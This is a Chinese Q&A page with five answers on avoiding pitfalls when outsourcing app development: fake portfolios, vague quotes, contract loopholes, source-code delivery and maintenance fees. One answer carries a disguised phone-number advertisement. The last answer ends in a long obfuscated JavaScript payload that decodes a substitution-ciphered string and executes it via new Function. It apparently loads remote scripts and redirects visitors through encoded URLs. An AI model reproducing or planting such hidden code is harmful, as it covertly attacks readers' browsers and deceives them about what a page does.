找软件外包公司做项目,需要注意什么问题?

2025-03-24 00:59:10
推荐回答(5个)
回答1:

喜妹把某些外包公司开发App的套路写出来给大家提个醒!一定要注意以下五点!

套路一、虚假的知名案例

一般来说,客户和外包公司有三次现实交流的机会。

1.初步交涉:双方建立联系,外包公司自我介绍,客户阐述需求。

2.实地考察:客户亲临外包公司,看看公司规模、办公场地、员工架构。

3.达成合作:确认需求,签署合同,开始研发。

三步环环相扣,内藏杀机。

初步交涉阶段,客户会问外包公司有哪些案例,某些不靠谱的外包公司会用各种成功案例吹嘘自己,美团是我们做的,滴滴交给我们外包过,陌陌也是我们的案例......但细问之后却不能说出产品细节和开发过程。

相比之下,那些敢拿出一些自家真实开发但是不知名的成功案例给客户看的外包公司更坦诚一些,也更值得信任(毕竟没有那么多的案例可以一成而就,很多需要时间的沉淀)。


套路二、需求不明确就直接报价

一般在初步交涉时,客户就会想了解报价情况。如果外包公司在未了解清楚需求后直接脱口而出一个准确的价格,那就可以直接pass了。

因为开发一个App,小到登录方式,大到产品信息架构,不同的需求对一个项目的定价就有很大区别。在需求不明确的情况下就直接说出价格的外包公司,纯粹就是为了利用低价引诱客户。

所以,当外包公司在报价前详细的问了很多需求,这才是对客户负责的表现,这会是一个好的开始。


套路三、公司全靠销售撑着

在利用知名案例和低价忽悠之后,就进入了第二步。毕竟客户还是会持有“眼见为实,耳听为虚”的怀疑态度,需要进行实地考察,看看他们的员工配置是怎样的,有几个工程师,有几个产品经理和UI,有几个做销售的。

某些外包公司只为了多接单,并不注重技术,所以工程师的人员占比会比较少,可能连产品经理都没有。

这样就会出现以下三个问题:

1.很多公司的销售都不懂技术不懂互联网,有某些需求明明做不了却乱答应客户可以做,最后工程师开发不出来,耽搁开发时间,也坑了工程师。

2. 销售谈完需求签完合同后直接进行开发,没有产品经理进行需求分析、交互设计,也没有测试工程师专门做测试,导致做出来的App没有闭环,不能构成完整的逻辑,用户体验很差等。

3. 团队的工程师少或直接聘用实习生,经验不足,技术跟不上,质量没有保证。而且他们可能会把项目再外包出去,中间赚个差价,这样就会因为沟通不畅、需求传达有误等很多原因导致开发出来的项目“牛头不对马嘴”。

所以并不是所有大公司都靠谱,也并不是所有小公司都不靠谱。只有实地考察了解后,自己心里才会放心。


套路四、合同陷阱

某些不靠谱的外包公司经常会在合同上做文章,比如需求描述含糊不清,交付时间不明确,开发方式、验收标准等只字不提。一旦出现问题,他们就会以合同为标准推卸责任,损害客户利益。

所以在开发之前一定要谈好细节并落实到合同中,不论是再小的细节处理都要一开始就明确清楚。


套路五、产品缺胳膊少腿,后期不负责、坐地起价

当客户精挑细选外包公司,选场地大、案例多、员工配置齐全的正规公司,实地考察验过真伪,合同详细没有陷阱后,还有一个坑在等着你--产品缺胳膊少腿、粗制滥造、不负责任、坐地起价。

这一点很关键,很多客户都在这里吃了大亏。首先,开发一个App必须要有一份明确的需求文档,这通常是客户与外包公司的产品经理多次沟通后的产物。需求文档里要写明每个功能和要实现的效果,这是极其重要的一步,也是技术开发的唯一依据。如果部分需求没有写进文档,或者只是没有想到的小需求,那在后期,某些外包公司也会坐地起价。

拿最常用的登录方式这一块来举例,如果前期没考虑周全,只想到用手机验证码登录,而在后期想增加通过微信、QQ登录。其实只是一个很简单的小需求,流程逻辑是同样的,但某些外包公司就会搬出合同来说事,只要增加了需求就要求加钱。

当然也有前期低价竞标,中途高价增加需求的;也有消极怠工,粗制滥造的;还有趾高气昂,求着开发的;更有雇无经验的实习生,磕磕绊绊开发......这样开发的App和外包公司完全是个无底洞,你放心吗?


所以,针对喜妹上面讲的那五“阴”真经,客户该如何擦亮眼去识破这些套路呢?别急,喜望软件来传授你天龙八“步”。

第一步、查明真伪

当他们说哪些哪些知名案例是他们做的时,不要光听,得看他们的案例图、UI图,有上线的App就去下载下来实际操作体验一下,看看逻辑功能有没有问题、设计风格怎么样、会不会突然闪退或崩溃等等。

第一次实地考察后,还可以偷偷去突击考察,考察员工、场地。毕竟真金不怕火炼,好公司不怕突击。


第二步、明确需求

只有自己最清楚自己要什么,你的app到底需要什么风格、需要什么功能、不需要什么功能,一定要有清晰的想法。可以听听外包团队的建议,但不能完全被他们带着走了。沟通好的细节需求也一定要全部落实到需求文档还有功能清单或者原型图上,挨个确认签字。


第三步、专业产品

外包团队一定要有产品经理这一个岗位,他是客户与程序员之间最好的沟通桥梁。当客户说不清需求,程序员也听不懂需求的时候,最好的翻译就是产品经理了。

专业的他们能站在用户及客户的角度上把需求掰碎了、捋顺了传达给程序员,可以避免很多沟通和开发问题,能让app开发更顺利。


第四步、跟踪进度

客户需要清楚app的开发流程及工期安排,在正式进入项目开发之前,外包团队会对项目研发周期、提测时间、预发布时间点进行初步的判断,把项目需求划分成节点进行迭代开发计划。每个节点开发且测试完成后给客户递交周报或验收确认,然后再继续开发下一节点。


第五步、检查合同

一般都没有一次就定好的合同,在签合同之前要考虑好:项目是否按照前期原型图做、功能是否完善可用、工期安排是否合理和付款方式等。法治社会,大家都是守法的人,正规的外包公司都会跟客户签订正规的开发合同。所以之前提到过的开发方式、需求、UI、工期和款项等,都必须要在合同里有严格的规定。


第六步、定制&成品

成品app就是套用其他app的模板,这样可能就没有自己的特色,如需增加功能就得另外加钱了。而定制开发就是完全根据客户自己的需求来做,价格比成品app要高,工期也会更长。

两者各有各的优劣势,客户可以自行分析选择,但要注意的是,若是直接购买成品,对于功能模块的增减,外包公司是否能做、价格是否合理,这个需要提前沟通清楚;若选择定制开发,就要防止外包公司不按前期原型图来做,而是给你套模板。


第七步、源码交付

别以为项目开发完就完全放心了,交付也是很重要的一块。外包团队需要按照合同规定,将源码(含源码)、说明文档、操作文档等所有项目的相关资料交付给客户。

包括但不限于:

1.前后端项目的所有最新源代码(含注释)

2.数据库设计文档

3.API接口文档

4.所有的开发者账号资料

5.原型设计稿

6.UI设计稿

7.项目相关文档等资料

一定要把源码拿到自己手上,方便后期进行迭代开发及系统维护。


第八步、完整服务

完整服务是指不仅提供单纯的技术服务,同时提供包括产品设计、用户体验、技术咨询及运营维护等一系列服务。外包团队需要有一条从开发到维护的完整服务链,用专业的经验让客户少走弯路。

无论是大型的外包公司,还是小型的外包团队,凡是不能用“All In”的态度为客户服务的外包,都不能算是好外包。


魔高一尺道高一丈,喜望软件传授了你如何见招拆招的天龙八“步”,可要好好收藏起来。其实对于我们软件开发服务商来说,我们与客户都是合作共赢的关系,最终是希望能帮客户赚到钱。所以在开发过程中,双方若是能坦诚相待,这是再好不过的啦。

回答2:

各类软件的出现,给我们的日常生活和工作学习带来了诸多的便利。现在很多企业都希望根据自己的需求定制软件,来实现更高效的工作,正是有了这一市场需求,多家软件开发服务从开发通用软件走向定制化服务。软件开发选择哪家公司比较好?笔者认为可以从以下几个方面来看:

             

1、  尽可能满足用户需求

用户之所以选择定制软件服务,就是因为市面上的软件不能完全满足自身的需求,所以需要定制个性化的软件,而作为软件开发公司,就应该能够尽可能地满足用户的需求。也许会遇见有的用户不懂软件方面的原理,然后提一些不能实现的功能,而作为软件开发方,应当耐心地给用户解释不能实现的原因并提供合适的解决方案,说服用户而不是一味地说不能实现,这样的软件开发公司才比较好,能够受到用户的青睐。

互联网是个神奇的大网,大数据开发和软件定制也是一种模式,这里提供最详细的报价,如果你真的想做,可以来这里,这个手机的开始数字是一八七中间的是三儿
零最后的是一四二五零,按照顺序组合起来就可以找到,我想说的是,除非你想做或者了解这方面的内容,如果只是凑热闹的话,就不要来了。

           

2、  开发软件效率高

用户一旦有了选择软件开发公司定制软件的需求,就说明这款软件对于他来说,是目前比较急切地需要的,希望能够在比较短的时候内开发完成投入使用。所以好的软件开发公司在确认完用户需求之后,就应该让专业的人员进行软件开发,并及时与用户进行沟通,在较短的时间内开发出令用户满意的软件。

                       

3、  有比较成功的案例

通常情况下,很多软件开发公司在与用户确认完需求进行报价之后,用户就需要付款才能进行软件的开发,也就是说付款在软件开发出来之前。这个时候,用户如何相信这家公司能够开发出令他满意的产品?客户案例是最说服力的。笔者曾经选择北京开运联合定制软件就是因为这家公司有多个成功案例,事实也证明他们确实能够开发出令人满意的软件。

回答3:

选择软件小程序外包开发公司之前需要做好哪些准备工作?
小程序软件开发整个过程包括设计需求、设计方案、产品研发、产品交付、后期维护,很多企业在开发线上业务的时候,会找外包开发公司。但是许多企业因为没有经验,在寻求合作的过程中走了不少弯路。企业如果想让外包的开发项目效果能够达到更好的标准,小编建议企业在选择软件开发外包公司前应做好全面的准备工作,才能保证整个开发流程更加顺利进行。那么在选择软件开发外包公司前企业又应做好哪些准备工作呢?
1、详细的整理并沟通开发需求:
无论是自己技术开发,还是找外包开发公司,前期的需求整理都是非常重要的。企业自己一定要清晰的知道自己想要什么,要把自己考虑到的需求尽可能详细的整理出来。并且和开发公司沟通的时候,开发需求也是越详细越好,这样对方报价及开发周期估算也会越准确,最好是把开发需求文档附到合同里面为最好。
2、明确预算规划:
软件的开发成本很难具体估算,变量太多,但是有一个大致的预算规划可以让开发者实现关键功能的同时避免超支,或者在预算内完成优先级最高最重要的产品功能。所以一定要弄清App的核心功能有哪些,能够解决用户哪些问题,产品的功能性和非功能性的各种需求描述的越详细越好,这样可以提高APP外包开发的效率,避免损失。
3、选择靠谱合作的开发团队:
要选择一家公司,一定要参考开发公司其他的合作案例,最好是可以实地考察,看团队实力,看服务态度。在和开发公司签订合同的时候,要在合同中明确项目分为哪些阶段,每个阶段完成到哪一步。要确定收费标准、交付时间和后期维护情况。也可以多沟通几家,做了对比,多方了解后,选择最合适的合作,虽然合作的前提就是信任,但是挑选好技术团队,签好君子协议才是最重要的。
4、服务器和域名:
很多公司建议用他们的服务器,原因一:后期可以收你的维护费,服务器费用是硬性开支,收费合理;原因二:用他的服务器,万一出现合作不愉快或者其他纠纷,你拿不到任何东西,只能赔了夫人又折兵;当然这些都是为了防患于未然,自己购买服务器会更放心;
5、运营推广:
运营类软件或小程序开发过程中要考虑到运营推广,系统功能上也最好具有一定的营销属性,这样系统运营过程就是用户不断积累的过程。

回答4:

根据我们软件开发的经验,下面来给大家介绍下。

  1. 关于签合同有哪些注意事项?

一般合同都是接包的公司提供的,里面主要包括项目双方的责任和义务,其中关于项目报价,项目开发周期,分期付款结点,维护升级,
源码版权归属等方面需要特别留意。正规公司一般按3-4期进行收款,如:5-4-1,或4-5-1,或4-3-3,这方面没有硬性规定,双方协商好即可,不同公司的收款方式都不一样。签合同之前,需要沟通好需求,明确功能要点,然后让接包方提供详细的报价表,以及进度安排计划,这些如果在签合同前没有明确好的话,后面项目开发过程容易产生一些纠纷或理解上的偏差,成为项目的隐性风险。

2. 后期的维护升级费用怎么算?

一般项目开发完成后,都会提供免费的维护试运行期。不同公司提供的免费维护期不同,常见的有3个月,半年,或者一年。免费维护期过后,会按项目总额的10%收取下一年的维护费用(维护费仅包含对已有需求功能的维护)。如果后期有需求变更,或者新加一些新的功能点,会评估修改所需的工作量,再额外算升级的费用。

3. 关于成本预算方面

如开发一个app项目,不单单只是开发成本,还需要考虑每个月的服务器费用(用户数不大的话,服务器费用一般一个月200 -
500元
左右),第三方服务费用(如短信接口费用,或一些方案的增值服务),维护升级费用,上线APP市场的成本(如iOS上线到appstore需要每年交99美金,上传到Goolgle
Play需要一次性交25美金,国内的安卓市场免费)以及运营的成本等等,这些通常没有算入开发成本当中。

回答5:

找比较正规的外包公司,一般这种公司会有个项目流程,比较正规,求采纳

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();